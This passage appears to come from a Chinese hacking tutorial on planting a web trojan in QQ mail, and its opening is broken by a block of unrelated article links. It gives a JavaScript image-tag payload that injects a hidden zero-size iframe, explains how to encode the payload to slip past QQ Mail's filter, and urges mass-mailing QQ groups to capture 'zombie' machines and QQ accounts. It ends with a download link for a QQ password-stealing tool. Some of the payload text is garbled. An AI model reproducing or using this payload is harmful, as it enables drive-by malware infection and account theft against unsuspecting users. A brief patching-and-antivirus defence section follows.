QQ邮件中的木马

相信大家经常收到一些莫名其妙的邮件和贺卡，让你看一段视频了什么的，这只是垃圾邮件吗?每次我看到这些邮件，都毫不犹豫的将

>> 让你的QQ群邮件闭嘴 短消息,不用写生题的QQ邮件等 QQ中的母亲 网络中的木马探寻分析 揪出网站中的网页木马 玩转QQ信箱:发出去的邮件也能收回 教学中的QQ关系 现实中的QQ农场 新木马借用QQ昵称连接服务器 邮件处理中的RFID技术 Word中邮件合并功能的应用 恢复Foxmall中误删的邮件 FoxMail中恢复误删的邮件等 让Outlook邮件中的图片现身 纯真年代的毁灭――《木马赌徒》中的熵 旋转木马中的香奈儿态度等 论《特洛伊―木马屠城》中的悲剧色彩 警惕隐藏在RM／RMVB中的网页木马 娱乐也要安全　剔除电影中暗藏的木马 来自罗马神话中的Cerberus木马等 常见问题解答 当前所在位置：l”。

步骤三：伪装QQ邮件代码

前面测试时，QQ邮件挂马代码是经过加密的，其效果是在QQ收信阅读页面中嵌入一个百度网页框架。现在我们要将框架隐藏，并将网页指向上传的网页木马地址，因此将代码改为如下：

(IMG src="javascript:document.write('

具体使用时，更改其中的网马地址即可。不过现在此木马是明文的，因此会被QQ邮箱过滤掉。需要将这段代码进行代码加密转换，躲过QQ邮箱的安全过滤机制，其实只需对上面的测试代码进行一下修改，用网马地址百度的网址，将网页框架的长宽都改为“0”即可。修改后的代码如下：

(img src=jlvlscript:ـocument.write('<Iframe％20src=％20width=O％20height=0％3E</iframe％3E)

步骤四：发送攻击

现在可直接发送QQ邮件，直接攻击指定的QQ号码了，不过最好的方法是直接进行邮件群发，一次攻击几百人。

在QQ邮件撰写页面中，选择页面上的“QQ群邮件”链接，在群邮件撰写页面的“通讯录”中指定要攻击的群，然后按上面同样的方法撰写一封包含木马代码的邮件。最后点击“发送”按钮，发送群邮件。群中的QQ用户收到该邮件后，打开却显示为一片空白，或者只有几个简单的字符，但是木马网页其实已经在后台打开并自动下载运行木马了!很快你就会有很多的肉鸡或QQ号码了……

防范QQ邮件攻击

其实防范QQ邮件攻击，实质上就是防范网页木马的攻击。因此首先最重要的是打好各种系统补丁程序。不过现在有许多常用的软件，也爆出了网页溢出漏洞，比如迅雷、winRAR等，因此光打系统补丁还不够，还需及时升级更新各种常用的软件。最后，随时开启杀毒软件的网页监控功能，也是抵御QQ邮件攻击最有力的一道安全防线。

下载链接：

vvQQ大盗版http：///200705/070530vvqqdd.rar